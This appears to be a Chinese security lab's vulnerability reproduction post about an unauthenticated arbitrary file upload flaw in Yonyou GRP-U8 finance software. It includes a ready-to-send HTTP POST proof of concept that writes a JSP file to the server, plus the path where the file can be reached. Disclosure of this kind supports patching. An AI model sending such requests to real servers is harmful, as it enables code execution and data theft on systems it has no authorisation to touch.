【成功复现】用友U8-Cloud 任意文件上传漏洞

用友GRP-U8行政事业财务管理软件是用友公司专注于国家电子政务事业，基于云计算技术所推出的新一代产品。

在用友GRP-U8的upload接口存在未验证任意文件上传漏洞，非法攻击者可简单利用漏洞上传文件，非法获取数据或对数据库服务器产生影响，存在一定的安全隐患。

0x02影响版本

用友GRP-U8

1.访问漏洞环境

2.对漏洞进行复现

 POC （POST）

漏洞复现

        POST请求

POST /linux/pages/upload.jsp HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0Connection: closeContent-Length: 31Content-Type: application/x-www-form-urlencodedfilename: 88888.jspAccept-Encoding: gzip
<% out.println("28921ojow~");%>

       文件上传成功

      3.文件解析路径

http://x.x.x.x:8088/linux/xxx.jsp

弥天简介

学海浩茫，予以风动，必降弥天之润！弥天弥天安全实验室成立于2019年2月19日，主要研究安全防守溯源、威胁狩猎、漏洞复现、工具分享等不同领域。目前主要力量为民间白帽子，也是民间组织。主要以技术共享、交流等不断赋能自己，赋能安全圈，为网络安全发展贡献自己的微薄之力。

口号 网安引领时代，弥天点亮未来